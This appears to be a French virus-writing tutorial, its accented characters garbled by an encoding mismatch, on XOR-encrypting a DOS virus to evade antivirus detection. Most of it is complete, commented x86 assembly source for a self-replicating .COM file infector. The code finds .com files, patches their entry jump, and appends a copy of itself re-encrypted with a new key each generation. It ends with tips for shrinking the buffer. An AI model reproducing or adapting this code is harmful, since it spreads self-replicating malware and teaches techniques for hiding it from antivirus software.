<---------------------------------> Virus: Encryption <---------------------------------> Encrypter des virus??? Mais pourquoi faire??? Et bien pour la simple raison qu'il y a des anti-virus(de plus en plus) qui detectent les codes qui ressemblent … des virus....donc on camoufle tout ‡a pour pas que le m‚chant anti-virus d‚truise notre gentil virus ;). La seconde raison c pour camoufler la signature: *********************************************** copyright db 'Liberty of ExPrEsSiOn by SaTaNiK' *********************************************** Car elle pourrait servir … detecter le virus dans le fichier...ceci dit vous n'ˆtes pas oblig‚ de mettre une signature...mais faut quand mˆmme que votre virus puisse avoir un nom :o. Personnelement la m‚thode que j'utilise dans le virus ‡i-dessous n'est pas la meilleure car elle n‚c‚ssite un buffer, mais c'est la seule m‚thode que j'ai trouv‚ pour crypter tout le code viral en entier...enfin si vous avez une meilleure m‚thode n'h‚sitez pas ;). Sinon j'utilise aussi une variable Crypted qui est … 0 dans la version originale du virus car il n'est pas crypt‚...elle est mise … 1 en m‚moire avant que le virus s'encrypte et s'‚crive... La m‚thode utilis‚ par le virus est un simple xor...Ha autre chose, si vous regardez le code du virus, je n'encrypte ‚videmment pas l'index(encryption) qui xor car sinon tout serait incorrect :). ****************************************************************************** code segment ; SEGMENT DE CODE assume cs:code,ds:code ;CS ET DS POINTENT TOUT LES 2 SUR CODE org 100h ;LES FICHIER COM COMMENCENT A 100H debut: db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR ;FAIRE COMME SI LE PROGRAMME ETAIT ;INFECTE virus: call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT ;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME ;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST ;MISE SUR LA PILE) depart_virus: pop bp ;RECUPERE JUSTEMENT CETTE VALEURE sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART ;VIRUS POUR OBTENIR LE DEBUT DU CODE ;DU VIRUS... cmp [bp+crypted],0 ;VERIFIE SI LE FICHIER EST CRYPTE je remet_3_bytes mov cx,end_virus-remet_3_bytes ;CALCULE LA LONGUEUR DU DECRYPTAGE lea bx,[bp+remet_3_bytes] ;POINTE SUR LE CODE CRYPTE mov al,[bp+encryption] ;MET LE CODE D'ENCRYPTION DANS AL decrypte: ;BOUCLE DE DECRYPTAGE xor byte ptr [bx],al ;XOR POUR DECRYPTER inc bx loop decrypte remet_3_bytes: mov cx,3 ;VA DEPLACER 3 OCTETS lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT ;A 100h...) rep movsb ;REMET LES OCTETS ORIGINAUX init_dta: lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE hide_dta mov ah,1ah ;FONCTION 1Ah int 21h ;LANCE L'INTERRUPTION trouve: mov ah,4eh ;PREMIERE RECHERCHE lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE ;DANS DX(ici *.com) mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE ;QUELLE ATTRIBUTS... cherche: int 21h ;LANCE LA RECHERCHE jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre jmp fin_cherche ;SINON VA A fin_cherche ouvre: mov ax,3d02h ;FONCTION 3Dh lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM ;DU FICHIER TROUVE int 21h ;LANCE L'INTERRUPTION mov bx,ax ;MET BX DANS AX mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes mov cx,3 int 21h ;EFFECTUE LA LECTURE mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES ;DU JUMP DONC LA TAILLE DU ;FICHIER SI INFECTE add cx,real_end-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS cmp ax,cx ;COMPARE LES 2 jz ferme ;SI EGALE ALORS INFECTE sub ax,3 ;ENLEVE TROIS A LA TAILLE ;CAR NOUS LES AVONS DEJA LUS mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES ;DE NEWJUMP LA TAILLE DU FICHIER ;ET DONC CALCULE LE SAUT QUI ;REMPLACERA LES 3 bytes mov ax,4200h ;VA AU DEBUT DU FICHIER xor cx,cx xor dx,dx int 21h mov ah,40h ;ET ECRIT LES 3 BYTES mov cx,3 lea dx,[bp+newjump] int 21h mov ax,4202h ;VA A LA FIN DU FICHIER xor cx,cx xor dx,dx int 21h push bx ;SAUVEGARDE LE HANDLE DU FICHIER mov [bp+crypted],1 ;LE FICHIER SERA CRYPTE lea si,[bp+remet_3_bytes] ;COPIE TOUT CE QUI EST A CRYPTE lea di,[bp+Buffer] ;DANS LE BUFFER mov cx,end_virus-remet_3_bytes rep movsb mov cx,end_virus-remet_3_bytes ;TAILLE DU CODE A CRYPTE lea bx,[bp+Buffer] inc [bp+encryption] mov al,[bp+encryption] crypt_for_your_pleasure: ;CRYPTE LE FICHIER xor byte ptr [bx],al inc bx loop crypt_for_your_pleasure pop bx ;RECUPERE LE HANDLE FICHIER mov ah,40h ;ECRIT LE DEBUT DU VIRUS mov cx,remet_3_bytes-virus ;QUI N'EST PAS CRYPTE lea dx,[bp+virus] int 21h mov ah,40h ;ECRIT LE CODE mov cx,end_virus-remet_3_bytes ;CRYPTE lea dx,[bp+Buffer] int 21h mov ah,40h ;ECRIT LES VARIABLES mov cx,real_end-end_virus ;NECESSAIRES AU DECRYPTAGE... lea dx,[bp+end_virus] int 21h ferme: mov ah,3eh ;FERME LE FICHIER int 21h mov ah,4fh ;CHERCHE PROCHAIN FICHIER jmp cherche fin_cherche: mov dx,80h ;REMET LE DTA A SA PLACE ;) mov ah,1ah int 21h mov di,100h ;CONTINUE LE COM NORMALEMMENT jmp di comsig db '*.com',0 troisbytes db 0cdh,20h,0 newjump db 0e9h,0,0 copyright db 'Liberty of ExPrEsSiOn by SaTaNiK' ;SIGNATURE ;) message db 'Fuck Policians!!!!' ;UN PTIT MESSAGE :)) end_virus label near encryption db 33h ;INDEX D'ENCRYPTION crypted db 0 Buffer db end_virus-remet_3_bytes dup (0) ;BUFFER POUR LES DONNES ;CRYPTES real_end label near dta_place db 42 dup (?) code ENDS END debut ****************************************************************************** Bon voil…, notre virus est de plus en plus volumineux, mais 574 octect ‡a va encore ;)). Bon sinon la variable encryption est incr‚ment‚ … chaque generation(chaque nouvelle infection) pour que le cryptage change … chaque fois. J'ai reflechit au moyen de se passer du buffer(ce qui double presque la taille du virus) et un moyen bien sympa serait d'utiliser la m‚moire vid‚o comme buffer, ce qui diminuerait la taille du buffer et ne devrait pas poser de problˆme....c'est pas difficile … faire, si vous codez un virus dos utilisez plut“t cette technique :).